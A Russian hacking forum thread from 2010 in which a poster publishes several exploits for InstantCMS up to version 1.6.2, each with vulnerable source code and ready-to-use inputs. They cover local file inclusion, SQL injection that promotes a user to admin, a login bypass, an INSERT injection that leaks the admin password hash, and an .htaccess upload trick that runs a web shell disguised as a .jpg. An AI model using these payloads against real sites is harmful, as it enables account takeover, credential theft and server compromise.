Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

14.05.2010, 12:26
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме: 5011696
Репутация:
2221
|
|
Кхм странно...
У тя версия какая? Просто у меня 1.5.3
|
|
|

14.05.2010, 12:47
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме: 1744345
Репутация:
573
|
|
Я тестил на 1.5.3. Да все верно на 1.6.1 эта бага залатана вроде как. Закроем глаза на target_id.
Разберемся с запросом. Нагуляляся по функциям. В итоге ты в этот запрос инжектил?
Код:
SELECT id, title, description, NSLeft, NSRight FROM cms_category WHERE id=$item_id ORDER BY id ASC
?
Другая поправка.
если ты укажешь в item_id существующий id, то ты железно получишь вывод причину описал выше.
Иначе есть риск запороть вывод. Проверь, убедись.
Последний раз редактировалось The matrix; 14.05.2010 в 12:57..
|
|
|

14.05.2010, 13:06
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме: 5011696
Репутация:
2221
|
|
Ну вчера же вывелось всё равно, в код вмешательств небыло 
Мистика...
|
|
|

14.05.2010, 21:54
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме: 1744345
Репутация:
573
|
|
LFI InstantCMS <===== 1.5.1
Nees: mq=off
index.php
/core/cms.php
PHP код:
public function proceedBody(){
$inPage = cmsPage::getInstance();
$menuid = $this->menuId();
$is_component = false;
ob_start();
if (isset($_REQUEST['view'])) { $component = htmlentities($_REQUEST['view'], ENT_QUOTES); }
if (isset($component)){
//CHECK COMPONENT NAME (это типа фильтр ухаха)
if (strstr($component, ' ') ||
strstr($component, '\'') ||
strstr($component, '"') ||
strstr($component, '&') ||
strstr($component, '#') ||
strstr($component, '*') ||
strstr($component, '>') ||
strstr($component, '<') )
{ die('HACKING ATTEMPT BLOCKED'); }
//EXECUTE COMPONENT
if(file_exists('components/'.$component.'/frontend.php')){
echo '<div class="component">';
require ('components/'.$component.'/frontend.php');
eval($component.'();');
echo '</div>';
$is_component = true;
if ($menuid != 1 && $inPage->back_button) { echo "<p><a href='javascript:history.go(-1)' class=\"backlink\">« Назад</a></p>"; }
} else { echo '<p>Компонент не найден!</p>'; }
}
$inPage->page_body = ob_get_clean();
if ($is_component) { $inPage->page_body = cmsCore::callEvent('AFTER_COMPONENT_'.mb_strtoupper($component), $inPage->page_body); }
return true;
}
..................................
exploit
Код:
Index.php?view=[LFI]%00
|
|
|

16.05.2010, 12:58
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме: 1744345
Репутация:
573
|
|
УРА! Вышла стабильная версия instantCMS 1.6.2, в которой разработчики полатали все выложенные тут баги, но у меня была цель найти еще баг именно в этой версии, что из этого вышло смотрим ниже.
0day. Повышаение прав в cms до админа InstantCms <===1.6.2 (обход фильтра)
Как видно из названия, мы можем из простого юзера попасть в админа.
Need MQ=off
редактирование профиля:
/users/frontend.php
PHP код:
if ($do=='editprofile'){
$opt = $inCore->request('opt', 'str', 'edit');
if (usrCheckAuth()){
if ($inUser->id==$id || $inCore->userIsAdmin($inUser->id)){
if ($opt == 'save'){
$errors = false;
$nickname = $inCore->request('nickname', 'str');
if (strlen($nickname)<2) { cmsCore::addSessionMessage($_LANG['SHORT_NICKNAME'], 'error'); $errors = true; }
$gender = $inCore->request('gender', 'str');
$city = $inCore->request('city', 'str');
if (strlen($city)>20) { cmsCore::addSessionMessage($_LANG['LONG_CITY_NAME'], 'error'); $errors = true; }
$email = $inCore->request('email', 'str');
if (!strpos($email, '@') || !strpos($email, '.')) { cmsCore::addSessionMessage($_LANG['REALY_ADRESS_EMAIL'], 'error'); $errors = true; }
$showmail = $inCore->request('showmail', 'int');
$email_newmsg = $inCore->request('email_newmsg', 'int');
$showbirth = $inCore->request('showbirth', 'int');
$description = $inCore->request('description', 'str');
$birthdate = (int)$_REQUEST['birthdate']['year'].'-'.(int)$_REQUEST['birthdate']['month'].'-'.(int)$_REQUEST['birthdate']['day'];
$signature = $inCore->request('signature', 'str');
$allow_who = $inCore->request('allow_who', 'str');
$icq = $inCore->request('icq', 'str');
$showicq = $inCore->request('showicq', 'int');
$cm_subscribe = $inCore->request('cm_subscribe', 'str');
if ($inCore->inRequest('field')){
foreach($_POST['field'] as $k=>$val){
$_POST['field'][$k] = str_replace('\"', '"', $_POST['field'][$k]);
$_POST['field'][$k] = str_replace('"', '"', $_POST['field'][$k]);
$_POST['field'][$k] = str_replace("\'", '’', $_POST['field'][$k]);
$_POST['field'][$k] = str_replace("'", '’', $_POST['field'][$k]);
$_POST['field'][$k] = strip_tags($_POST['field'][$k]);
}
$formsdata = $inCore->arrayToYaml($_POST['field']);
$forms_sql = ", formsdata='$formsdata'";
} else {
$forms_sql = '';
}
if (!$errors){
$sql = "UPDATE cms_user_profiles
SET city = '$city',
description = '$description',
showmail='$showmail',
showbirth='$showbirth',
showicq='$showicq',
allow_who='$allow_who',
signature='$signature',
gender='$gender' $forms_sql,
email_newmsg='$email_newmsg',
cm_subscribe='$cm_subscribe'
WHERE user_id = $id";
$inDB->query($sql) ;
$sql = "UPDATE cms_users
SET birthdate='$birthdate',
email='$email',
icq='$icq',
nickname='$nickname'
WHERE id = $id";
$inDB->query($sql) ;
cmsCore::addSessionMessage($_LANG['PROFILE_SAVED'], 'info');
}
$inCore->redirect(cmsUser::getProfileURL($inUser->login));
}
Как устроен фильтр? У нас фильтр реплэсит
' (Кавычка)
\' (слеш+одинарная кавычка)
\" (слеш+двойная кавычка)
"(двойная кавычка)
насчет 2 и 3 я честно сказать не понял, что разработчики хотели этим мне доказать?
давайте обратим внимание на этот запрос.
Код:
$sql = "UPDATE cms_users
SET birthdate='$birthdate',
email='$email',
icq='$icq',
nickname='$nickname'
WHERE id = $id";
$inDB->query($sql) ;
Этот запрос апдейтит cms_users. (Через форму для апдейта). изменяет ICQ, email, nickname.
В этой таблице есть столбец отвечающий за группу пользователя: group_id Если она установлена на 1-то наш пользователь-юзер если 2-пользователь админ.
Здесь нам интересны $icq, $nickname. $email не интересен, так как он через регулярку проходит. $id-id юзера, у которого мы меняем данные.
Ну и как же нам внедрить себя в этот запрос с учетом вышеуказанного фильтра? ЭЛЕМЕНТРАРНО!
В поле ваше имя вбиваем: group_id=2 #\
В поле ICQ Вбиваем: 333s \
соответственно $icq=333s \ ; $nickname=group_id=2 #\
Давайте посмотрим, что у нас получилось.
Код:
$sql = "UPDATE cms_users
SET birthdate='$birthdate',
email='$email',
icq='333s \',
nickname=', group_id=2 #\'
WHERE id = $id";
АГА. Жареным пахнет.
Мы заэкранировали кавычку и вышли в запрос, и закрыли icq мы открывающей кавычкой От nickname и дописали доболнительное значение group_id=2. После выполнения наш юзер, которому мы меняли данные примет group_id=2 и чудесным образом превратится в админа.
Вот такая вот интересная бага была найдена в новой версии instantCMS
Видео к теме:
Код:
https://forum.antichat.ru/showthread.php?p=2145955#post2145955
Последний раз редактировалось The matrix; 16.05.2010 в 17:41..
|
|
|

24.05.2010, 03:28
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме: 1744345
Репутация:
573
|
|
Опять зиро дэй
Auth0r1zat1oN byPass InstantCMS<=== 1.6.2
Need: mq=off
Не буду нагромождать лишним кодом.
Запрос для авторизации следующий:
PHP код:
$sql = "SELECT *
FROM cms_users
WHERE $where_login AND password = md5('$passw') AND is_deleted = 0 AND is_locked = 0";
Что нельзя использовать
' (Кавычка) [Реплейсится в `(апостроф)]
легко понять, что этого мало.
Как юзать:
В поле логин пишем: matrix\
в поле пароль пишем: or id=1#\
У нас получится:
Код:
SELECT *
FROM cms_users
WHERE login = 'matrix\' AND password = md5('or id=1#\') AND is_deleted = 0 AND is_locked = 0
слешанули по одной кавычке в логине и пассворде.
в результате логин закрылся кавычкой от password и синтаксис не нарушился.
примечание:
id-айди пользователя под которым мы хотим залогиниться.
Вот так мы байпаснули авторизацию.
Разработчик о баге и о наличии супер функции mysql_real_escape_string() оповещен.
Последний раз редактировалось The matrix; 24.05.2010 в 03:42..
|
|
|

24.05.2010, 21:57
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме: 1744345
Репутация:
573
|
|
УРА! Вышли заплатки на новую версию. Версию instantCMS. Захотел покурить php код вот что получилось
InstantCMS <==1.6.2(2) sql injection (insert)
MQ=off
/components/frontend.php
PHP код:
"INSERT INTO cms_forum_threads (forum_id, user_id, title, description, icon, pubdate, hits)
VALUES ('$id', '".$inUser->id."', '$title', '$description', '', NOW(), 0)";
повезло.
$title $description пропускают \
Как это заюзать
создаем на форуме топик
Название: matr1x\
Описание: , (select concat(login,0x3a,password) from cms_users where id=1),1,1,1)#
Мы получаем
Код:
"INSERT INTO cms_forum_threads (forum_id, user_id, title, description, icon, pubdate, hits)
VALUES ('$id', '".$inUser->id."', 'matr1x\', ', (select concat(login,0x3a,password) from cms_users where id=1),1,1,1)#', '', NOW(), 0)";
закрыли title кавычкой от description и вышли в запрос после чего проинжектировали -)
Теперь идем в список топиков и наблюдаем свой топик в описании которого что-то на подобии
Код:
admin:5f4dcc3b5aa765d61d8327deb882cf99
-----------
сообщение для разработчика: r2, привет =)))
|
|
|

05.06.2010, 21:24
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме: 1744345
Репутация:
573
|
|
InstantCMS 1.6.2
File upload
Тащим свой зад на форму аплоада файлов
Код:
http://localhost/users/ваш id/addfile.html
componennts/users/frontend.php
PHP код:
foreach ($_FILES as $key => $data_array) {
$error = $data_array['error'];
if ($error == UPLOAD_ERR_OK) {
@mkdir(PATH.'/upload/userfiles/'.$id);
$tmp_name = $data_array["tmp_name"];
$name = $data_array["name"];
$size = $data_array["size"];
$size_mb += round(($size/1024)/1024, 2);
if ($size_mb <= $free_mb){
if(!strstr($name, '.php') && !strstr($name, '.asp') && !strstr($name, '.aspx') && !strstr($name, '.js') && !strstr($name, '.html') && !strstr($name, '.phtml')){
if (move_uploaded_file($tmp_name, PATH."/upload/userfiles/$id/$name")){
Заливаем сначала файл .htaccess содержимым
Код:
addhandler application/x-httpd-php jpg
затем shell с расширением jpg
Шелленг загрузится в
http://localhost/upload/userfiles/[ваш ид]/[имя шелла].jpg
и будет выполняться.
Последний раз редактировалось The matrix; 05.06.2010 в 21:27..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|